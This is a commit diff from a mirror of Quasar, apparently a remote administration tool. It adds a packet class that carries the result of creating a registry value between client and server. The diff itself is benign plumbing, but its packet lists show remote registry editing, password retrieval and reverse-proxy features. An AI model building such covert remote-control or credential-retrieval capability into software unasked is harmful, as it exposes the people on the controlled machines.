mirror of https://github.com/quasar/Quasar.git
Added client packets for creating registry value responses.
This commit is contained in:
parent
808030b9a5
commit
38019f11c1
|
@ -95,6 +95,7 @@
|
||||||
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
|
<Compile Include="Core\Extensions\RegistryKeyExtensions.cs" />
|
||||||
<Compile Include="Core\Networking\QuasarClient.cs" />
|
<Compile Include="Core\Networking\QuasarClient.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetPasswordsResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||||
|
|
|
@ -82,6 +82,7 @@ namespace xClient.Core.Networking
|
||||||
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
||||||
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||||
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xClient.Core.Networking;
|
||||||
|
using xClient.Core.Registry;
|
||||||
|
|
||||||
|
namespace xClient.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetCreateRegistryValueResponse : IPacket
|
||||||
|
{
|
||||||
|
public string KeyPath { get; set; }
|
||||||
|
public RegValueData Value { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetCreateRegistryValueResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -129,6 +129,7 @@ namespace xServer.Core.Networking
|
||||||
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
typeof (Packets.ClientPackets.GetCreateRegistryKeyResponse),
|
||||||
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
typeof (Packets.ClientPackets.GetDeleteRegistryKeyResponse),
|
||||||
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
typeof (Packets.ClientPackets.GetRenameRegistryKeyResponse),
|
||||||
|
typeof (Packets.ClientPackets.GetCreateRegistryValueResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
typeof (ReverseProxy.Packets.ReverseProxyConnect),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
|
||||||
typeof (ReverseProxy.Packets.ReverseProxyData),
|
typeof (ReverseProxy.Packets.ReverseProxyData),
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
using xServer.Core.Networking;
|
||||||
|
using xServer.Core.Registry;
|
||||||
|
|
||||||
|
namespace xServer.Core.Packets.ClientPackets
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class GetCreateRegistryValueResponse : IPacket
|
||||||
|
{
|
||||||
|
public string KeyPath { get; set; }
|
||||||
|
public RegValueData Value { get; set; }
|
||||||
|
|
||||||
|
public bool IsError { get; set; }
|
||||||
|
public string ErrorMsg { get; set; }
|
||||||
|
|
||||||
|
public GetCreateRegistryValueResponse() { }
|
||||||
|
|
||||||
|
public void Execute(Client client)
|
||||||
|
{
|
||||||
|
client.Send(this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -141,6 +141,7 @@
|
||||||
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
|
<Compile Include="Core\NetSerializer\TypeSerializers\ObjectSerializer.cs" />
|
||||||
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
|
<Compile Include="Core\NetSerializer\TypeSerializers\PrimitivesSerializer.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
||||||
|
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||||
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
|
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
|
||||||
|
|
Loading…
Reference in New Issue